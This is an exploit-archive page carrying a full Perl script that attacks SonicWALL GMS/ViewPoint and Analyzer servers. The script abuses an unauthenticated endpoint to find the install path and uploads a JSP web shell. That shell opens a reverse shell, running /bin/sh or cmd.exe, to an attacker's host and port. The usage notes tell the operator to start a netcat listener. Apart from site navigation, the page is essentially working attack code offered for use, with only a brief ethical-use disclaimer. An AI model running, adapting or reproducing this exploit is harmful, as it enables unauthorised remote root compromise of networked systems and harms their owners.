accept no compromises

SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root

SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root
Posted Jan 18, 2013
Authored by Nikolas Sotiriu

SonicWALL GMS/VIEWPOINT version 6.x and Analyzer version 7.x remote root/SYSTEM exploit.

tags | exploit, remote, root
MD5 | 259a398de02d6e86d0ab39ede6b9ac5a

SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root

Change Mirror Download
#!/usr/bin/perl

##
# Title: SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit
# Name: sgmsRCE.pl
# Author: Nikolas Sotiriu (lofi) <lofi[at]sotiriu.de>
#
# Use it only for education or ethical pentesting! The author accepts
# no liability for damage caused by this tool.
#
##


use strict;
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP::Protocol::https;
use Getopt::Std;


my %args;
getopt('hlp:', \%args);

my $victim = $args{h} || usage();
my $lip = $args{l};
my $lport = $args{p};
my $detect = $args{d};
my $shellname = "cbs.jsp";

banner();

my $gms_path;
my $target;
my $sysshell;

my $agent = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0,},);
$agent->agent("Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0");

# Place your Proxy here if needed
#$agent->proxy(['http', 'https'], 'http://localhost:8080/');

print "[+] Checking host ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'application/x-www-form-urlencoded; charset=UTF-8',
Content => [ num => "123456",
action => "show_diagnostics",
task => "search",
item => "application_log",
criteria => "*.*",
width => "500",
];

my $result = $agent->request($request);

if ($result->is_success) {
print "[+] Host looks vulnerable ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}


my @lines=split("\n",$result->content);

foreach my $line (@lines) {
if ($line =~ /OPTION VALUE=/) {
my @a=split("\"", $line);
if ($a[1] =~ m/logs/i) {
my @b=split(/logs/i,$a[1]);
$gms_path=$b[0];
}
if ($gms_path ne "") {
print "[+] GMS Path: $gms_path\n";
last;
} else {
next;
}
}
}
if ($gms_path eq "") {
print "[-] Couldn't get the GMS path ... Maybe not vulnerable\n";
exit(0);
}


if ($gms_path =~ m/^\//) {
$target="UNX";
$gms_path=$gms_path."Tomcat/webapps/appliance/";
$sysshell="/bin/sh";
print "[+] Target ist Unix...\n";
} else {
$target="WIN";
$gms_path=$gms_path."Tomcat\\webapps\\appliance\\";
$sysshell="cmd.exe";
print "[+] Target ist Windows...\n";
}

&_writing_shell;

if (!$detect) {
print "[+] Uploading shell ...\n";
my $request = POST "$victim/appliance/applianceMainPage?skipSessionCheck=1",
Content_Type => 'multipart/form-data',
Content => [ action => "file_system",
task => "uploadFile",
searchFolder => "$gms_path",
uploadFileName => ["$shellname"]
];

my $result = $agent->request($request);

if ($result->is_success) {
print "[+] Upload completed ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}

unlink("$shellname");

print "[+] Spawning remote root/system shell ...\n";
my $result = $agent->get("$victim/appliance/$shellname");

if ($result->is_success) {
print "[+] Have fun ...\n";
} else {
print "[-] Error while connecting ... $result->status_line\n";
exit(0);
}
}

sub _writing_shell {
open FILE, ">", "$shellname" or die $!;
print FILE << "EOF";
<%\@page import="java.lang.*"%>
<%\@page import="java.util.*"%>
<%\@page import="java.io.*"%>
<%\@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;

StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( "$lip", $lport );
Process process = Runtime.getRuntime().exec( "$sysshell" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>

EOF

close(FILE);
}

sub usage {
print "\n";
print " $0 - SonicWALL GMS/VIEWPOINT/Analyzer Remote Root/SYSTEM exploit\n";
print "====================================================================\n\n";
print " Usage:\n";
print " $0 -h <http://victim> -l <yourip> -p <yourport>\n";
print " Notes:\n";
print " Start your netcat listener <nc -lp 4444>\n";
print " -d only checks if the Host is vulnerable\n";
print "\n";
print " Author:\n";
print " Nikolas Sotiriu (lofi)\n";
print " url: www.sotiriu.de\n";
print " mail: lofi[at]sotiriu.de\n";
print "\n";


exit(1);
}

sub banner {
print STDERR << "EOF";
--------------------------------------------------------------------------------
SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit
--------------------------------------------------------------------------------

EOF
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    2 Files
  • 24
    Jul 24th
    19 Files
  • 25
    Jul 25th
    23 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close